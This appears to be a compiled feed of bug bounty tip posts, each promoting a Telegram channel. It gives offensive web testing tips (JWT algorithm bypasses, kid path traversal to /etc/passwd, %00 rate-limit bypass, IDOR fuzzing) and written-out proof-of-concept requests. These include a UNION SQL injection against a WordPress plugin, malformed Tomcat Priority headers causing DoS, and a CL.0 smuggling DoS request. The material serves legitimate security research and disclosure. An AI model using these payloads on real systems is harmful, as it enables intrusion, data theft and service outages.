When we hit the 1K subscribers i will start sharing tips here , invite all your contacts 🔥🐞💰

Zero click ATO

When testing API endpoints, try removing parts of the URL to check for unexpected data exposure.
Example: /api/endpoint/{id} ➡️ /api/endpoint/
Sometimes the parent endpoint spills ALL the data!
🐞Join my Telegram Channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

🐞Bug🐞:Debug mode leak Phpmyadmin USER NAME AND PASSWORD🔥

Tip💁‍♂️: try check every Dir. to check if the Debug mode is on.

🐞Join my Telegram Channel for more tips and to stay updated🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Tip: add "%00" after the email and you will bypass the RL if its based in the email value.

💥 Bug Bounty Tip: Exposing Weak JWT Implementations 💥

A flawed JWT can open the door to account takeovers, privilege escalation, and critical security risks! Let’s break down how to spot these vulnerabilities.

🔑 Vulnerabilities to Test:

🔹 None Algorithm Bypass: Change the JWT header to "alg": "none" and remove the signature. If it’s still accepted — jackpot! 🎉

🔹 Brute-Force Weak Secrets: Crack weak signing keys with tools like jwtcracker, hashcat, or John the Ripper. A short or common key? You’re in.

🔹 Kid Parameter Injection: Tamper with the kid (Key ID) parameter — use path traversal (../../etc/passwd), local file inclusion, or even command injection.

🔹 JWK Manipulation: Host a rogue JSON Web Key and try to convince the server to trust your malicious key.

🔹 Algorithm Confusion Attack: Test if the server accepts HS256 signatures on tokens meant for RS256. This often leads to key substitution vulnerabilities.

🔹 Expired Token Acceptance: Check if the server still accepts tokens long after they’ve expired — a serious session management flaw.

🔹 Token Forgery: Remove or alter the signature — if the server still trusts the token, you’ve found a critical P1! 🚀

🎯 Pro Tip: Always test JWTs on both the client and server side — sometimes, the weakest links hide in unexpected places.


🐞Join my Telegram Channel for more tips and to stay updated🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHard

🐞Bug🐞: claim "admin" username lead to access admin account🔥

Tip💁‍♂️: Try register "admin" username to access admin account

🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞:An unauthenticated API endpoint exposes sensitive users data using email address
Tip💁‍♂️:check .js file to find some urls for related services
🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

⚠️WebSocket PII Exposure⚠️
WebSockets can expose Personally Identifiable Information if not handled securely.

Tip💁‍♂️: Always check the WS responses for PII

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

I was awarded a $1,000 bounty on @Hacker0x01 🪅

Tip💁‍♂️: Check for all smuggling types during your Tests.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: POST REQUEST SQLI with full data dump

Tip💁‍♂️: test for sqli on all authenticated POST requests parameters

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: PII LEAK
Tip💁‍♂️: Always read the source of the pages and check every endpoint⚠️🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

When access the same endpoint on the UI version i cant see any data , but using burp repeater I was able to access these informations, also this endpoint found at the source of the page🚨

Bug🐞: PII LEAK on Unprotected Endpoint.
Tip💁‍♂️: Always read the source of the pages and check every endpoint🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

🔥🔥Again🔥🔥

Bug🐞: PII LEAK on Unprotected Endpoint.[3K records]
Tip💁‍♂️: Always read the source of the pages and check every endpoint🪅

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

Bug🐞: IDOR lead to leak agent data and messages.
Tip💁‍♂️: FUZZ 1st and second and 3rd /dir.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

CVE-2021-24456 is a vulnerability in the WordPress plugin Quiz And Survey Master (QSM) versions prior to 7.0.1, which allowed unauthenticated users to perform SQL Injection via the question_id parameter in a request to the qsm_get_questions AJAX action.

Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:


---

PoC: Unauthenticated SQL Injection

Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456

HTTP Request PoC

POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+

Explanation:

The plugin registered an AJAX action qsm_get_questions accessible without authentication.

The question_id parameter is vulnerable to SQL injection.

The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).



---

References:

Patchstack Advisory

NVD - CVE-2021-24456

WPScan Advisory



---

Happy to join the 10K Reputation Points Club @Hacker0x01 🪅🎉

I thank this great platform for the wonderful opportunities it offers us🔥🫡

🐞Join my Telegram channel for BB tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

[CVE-2025-31650] Apache Tomcat DoS via Malformed HTTP Priority Headers

A critical vulnerability in Apache Tomcat allows remote attackers to crash servers by sending malformed HTTP Priority headers, leading to memory leaks and denial of service (DoS).

Affected Versions:

Tomcat 9.0.76 – 9.0.102

Tomcat 10.1.10 – 10.1.39

Tomcat 11.0.0-M2 – 11.0.5


Fixed in:

Tomcat 9.0.104

Tomcat 10.1.40

Tomcat 11.0.6


What’s the issue?
Tomcat fails to fully clean up malformed HTTP requests containing invalid Priority headers (RFC 9218), eventually triggering OutOfMemoryException.

Examples of malicious headers:

Priority: u=-1
Priority: u=abc
Priority: u=8
Priority:
Priority: i=maybe
Priority: u=3, i=1
Priority: foo=bar

Impact:
No authentication needed — attackers can exhaust server memory remotely.

Mitigation:

Update to the latest version of Tomcat.

Use a reverse proxy to strip malformed Priority headers.

Set up rate limiting and monitor memory usage.


Details:

CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-31650

RFC 9218: https://www.rfc-editor.org/rfc/rfc9218.html

Apache Advisory: https://lists.apache.org/thread/j6zzk0y3yym9pzfzkq5vcyxzz0yzh826


Stay safe, patch early!


---

CL.0 HTTP Smuggling → Limited DoS

1. What happens?
CL.0 smuggling exploits a mismatch where the front‑end honors Content-Length: 0 but the back‑end still reads any extra bytes sent afterward .


2. Exploit (PoC)

POST /upload HTTP/1.1
Host: target.com
Content-Length: 0

[100 KB of “A” padding here]
GET /healthcheck HTTP/1.1
Host: target.com

The front‑end closes the request immediately, while the back‑end queues the 100 KB payload then hangs on the pipelined GET, consuming a worker slot .


3. Impact: Limited DoS
Each smuggled payload ties up a backend thread or connection. Repeating this depletes available workers, degrading service availability .


4. Detection

Enable verbose reverse‑proxy logging to spot requests with Content-Length: 0 carrying unexpected payloads .

Monitor backend queue lengths for unusual stalls after zero‑length frames .